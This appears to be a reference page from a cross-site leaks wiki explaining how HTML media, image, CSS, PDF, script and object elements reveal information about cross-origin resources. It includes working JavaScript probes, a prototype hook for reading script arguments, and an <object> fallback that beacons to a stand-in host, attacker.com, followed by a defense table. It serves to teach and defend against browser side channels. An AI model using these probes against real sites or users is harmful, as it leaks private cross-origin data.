Element leaks
Some HTML Elements might be used to leak a portion of data to a cross-origin page. For example, the below media resources can leak information about its size, duration, type.
- HTMLMediaElement leaks the media
duration
and thebuffered
times. Run demo - HTMLVideoElement leaks the
videoHeight
andvideoWidth
some browsers may also havewebkitVideoDecodedByteCount
,webkitAudioDecodedByteCount
andwebkitDecodedFrameCount
- getVideoPlaybackQuality() leaks the
totalVideoFrames
. - HTMLImageElement leaks the
height
andwidth
but if the image is invalid they will be 0 andimage.decode()
will get rejected. Run demo
It’s possible to differentiate between media types via unique property for a given media type. For example, it is videoWidth
for a <video>
, or duration
for an <audio>
. The below snippet shows an example code that returns the type of a resource.
async function getType(url) {
// Detect if resource is audio or video
let media = document.createElement("video");
media.src = url;
await new Promise(r=>setTimeout(r,50));
if (media.videoWidth) {
return "video";
} else if (media.duration) {
return "audio"
}
// Detect if resource is an image
let image = new Image();
image.src = url;
await new Promise(r=>setTimeout(r,50));
if (image.width) return "image";
}
Abusing CORB #
CORB is a feature of Chrome that makes responses empty if the wrong content type is used.
This means that if the type is wrong it’s not cached.
An ifCached
function can be found in Cache Probing article.
async function isType(url, type = "script") {
let error = false;
// Purge url
await ifCached(url, true);
// Attempt to load resource
let e = document.createElement(type);
e.onerror = () => error = true;
e.src = url;
document.head.appendChild(e);
// Wait for it to be cached if its allowed by CORB
await new Promise(resolve => setTimeout(resolve, 500));
// Cleanup
document.head.removeChild(e);
// Fix for "images" that get blocked differently.
if (error) return false
return ifCached(url);
}
Abusing getComputedStyle #
getComputedStyle can be used to read an embedded to the current page CSS style sheets. Including those loaded from different origins. This function just checks if there has been a style applied to the body. Run demo
async function isCSS(url) {
let link = document.createElement('link');
link.rel = 'stylesheet';
link.type = 'text/css';
link.href = url;
let style1 = JSON.stringify(getComputedStyle(document.body));
document.head.appendChild(link);
await new Promise(resolve => setTimeout(resolve, 500));
let style2 = JSON.stringify(getComputedStyle(document.body));
document.head.removeChild(link);
return (style1 !== style2);
}
PDF #
There are Open URL Parameters that allow some control over the content such as zoom
, view
, page
, toolbar
, nameddest
. Firefox has also implemented search
.
For Chrome, a PDF can be detected with Frame Counting because the document is internally embedded into a page.
Chrome also implements the PDF scripting API that can be used to confirm if the frame is a pdf. 1
async function isPDF(URL) {
// Open to target
let iframe = document.createElement('iframe');
iframe.src = URL;
document.body.appendChild(iframe);
// Wait about 1.5 secounds to let the page load.
await new Promise(resolve => setTimeout(resolve, 1500));
// For Chrome a window opened to a pdf will always be 1.
if (iframe.contentWindow.length !== 1) return false;
let pdf;
window.addEventListener("message", e => {
// Detect if received a message from the Chrome PDF viewer.
if (e.origin === 'chrome-extension://mhjfbmdgcfjbbpaeojofohoefgiehjai') pdf = true;
});
// Needed to start getting messages from the Chrome PDF viewer.
iframe.contentWindow[0].postMessage("initialize", "*");
// Wait for response from the Chrome PDF viewer.
await new Promise(resolve => setTimeout(resolve, 1500));
return pdf;
}
It’s also possible to abuse this API to send actions like getSelectedText
, selectAll
, print
, getThumbnail
, which potentially can leak information about the document’s contents.
let w = open(URL);
w[0].postMessage({type: 'print'}, "*");
info
The above techniques doesn’t seem to work in Firefox.
As a protection against leaking document’s content cross-origin, the responses are limited to documentLoaded
and passwordPrompted
for cross-origin requests.
Script tag #
When a cross-origin script is included on a page it’s not directly possible to read its contents. However, if a script uses any built-in functions, it’s possible to overwrite them and read their arguments which might leak valuable information 2.
let hook = window.Array.prototype.push;
window.Array.prototype.push = function() {
console.log(this);
return hook.apply(this, arguments);
}
When Javascript can’t be used #
If JavaScript is disabled it’s still possible to leak some information about cross-origin resources. For example, an <object>
can be used to detect whether a resource responds with Error Code. What happens is that if a resource //example.org/resource
returns an error in <object data=//example.org/resource>fallback</object>
then fallback
will be rendered 3 4. It’s possible to inject another <object>
inside that will leak the information to an outside server, or detect it with CSS 5.
The below code embeds //example.org/404
and if it responds with Error then a request to //attacker.com/?error
is also made as a fallback.
<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>
Defense #
Attack Alternative | SameSite Cookies (Lax) | COOP | Framing Protections | Isolation Policies |
---|---|---|---|---|
Type leaks | ✔️ | ❌ | ❌ | RIP 🔗 NIP |